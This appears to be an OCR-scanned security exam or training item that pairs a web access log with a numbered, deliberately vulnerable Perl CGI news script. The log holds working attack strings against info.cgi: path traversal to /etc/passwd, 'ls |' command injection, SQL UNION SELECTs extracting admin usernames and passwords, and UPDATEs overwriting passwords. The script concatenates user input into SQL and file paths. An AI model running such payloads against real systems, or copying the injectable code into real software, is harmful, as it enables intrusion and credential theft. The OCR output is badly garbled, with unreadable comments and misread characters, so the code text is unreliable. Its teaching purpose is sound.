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#Fields: date time client-ip method pathname query-string status
(&R&)
2007-10-13 02:24 aa.cc.kk.hh GET /mlogin.html - 200
2007-10-13 02:25 aa.cc.kk.hh GET /scripts/info.cgi "?nid=070l&kind=m" 200
2007-10~13 02:29 aa.cc.kk.hh GET /scripts/info.cgi "?nid=0701&kind=../etc/passwd"
200
(HER)
2007-10-13 03:00 aa.cc.kk.hh GET /scripts/info.cgi "?nid=0701lskind=ls |" 200
2007-10-13 03:13 ff.aa.rr.pp GET /slogin.html - 200
2007-10-13 03:14 dd.ee.ss.tt GET /slogin.html - 200
2007-10-13 03:15 dd.ee.ss.tt GET /scripts/info.cgi "?nid=070l&kind=m" 200
2007-10-13 03:16 dd.ee.ss.tt GET /scripts/info.cgi "?nid=gf34' union select USER_
NAME,USER_PASSWORD from ADMIN_ ALL USERS where (HHf) skind=m" 200
(HH8)
2007-10-13 03:17 dd.ee.ss.ll GET /scripts/info.cgi "?nid=as23' union select TABLE
_NAME, SCHEMA from ADMIN_ALL_TABLES where (HM4) skind=m" 200
2007-10-13 03:18 dd.ee.ii.jj GET /scripts/info.cgi "?nid=0701';update M _NEWS set
PASSWORD="'fas7wgw4&kind=m" 200

2007-10-13 04:01 aa.cc.kk.hh GET /scripts/info.cgi "?nid=070l&kind=../1ls |" 200
2007-10-13 04:17 dd.ee.ii.jj GET /scripts/info.cgi "?nid=0703' union (&W4) skind=
m" 200

2007-10-13 04:28 dd.ee.ii.jj GET /scripts/info.cgi "2nid=0701';update M _USER set
PASSWORD="'fas7wgw4&kind=m" 200
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1 #!/usr/bin/perl

2 use CGI; # AM cer LEMEY 21—/ cer DERZEEE
3 use DBI; # iAF DB MEBAEY 21—V DI DEMAZEE
4 $DOC_ROOT = "/home/info/"; # BMSET7ANT2 Lo BY

5 $cgi = new CGI; # CCI VSADAT o bPEER
6 $nws_id = $cgi->param('nid'); # nid NS AS EE

7 $kind = $cgi->param('kind'); # kind NS AF EWB/

8 print "Content-Type: text/html¥n¥n"; # HTTP YT SA Ny T ELHH

9 print "<HTML><BODY>"; # HTML RBEY £ U7

10

11 $dbh = DBI->connect('DBI (&H§) ') or die; # DB [CIEEE

12 $sql = "select NWS_NM,NWS_BODY from M _NEWS ";# SQL M TEBEA

13 $whr = "where NWS_ID = '";

14 $qry = $sql.$whr.$nws_id."';"; # SOL MM TEEKT

15 $sth = $dbh ->prepare($qry) or die; # SQL X% #fm

16 $sth->execute; # SQL X%&R{T

17

18 @ary = $sth ->fetchrow_array; # SEBITERE

19 print xss($ary[0])."¥n<HR>¥n"; # BMoES A b, ENVREERAD
20 print xss($ary[l})."¥n<HR>¥n<PRE>"; # BHMSHASRE, 4IViReEth

21 $sth->finish or die; # SQL X{ERERT

22 $dbh->disconnect or die; # DB DY

23

24 $filepath = $DOC_ROOT.Skind; # BERDHUT 7 A INADNRRERE
25 open(FILE, $filepath) or die; # 774 IWERL

26 while($line=<FILE>) {

27 print xss($line); # 77 ANVABEIRT—TLTHAN
28 }

29 close(FILE); # 774INVERALS

30

31 print "</PRE></BODY></HTML>"; # HTML TR Z A

(HH8)

42 sub xss { (HBE) } # SIBOXFIHDs, <, >, ", "ICHTBIARYA FRIVTTF 425
43 # MRNEE L TRYT
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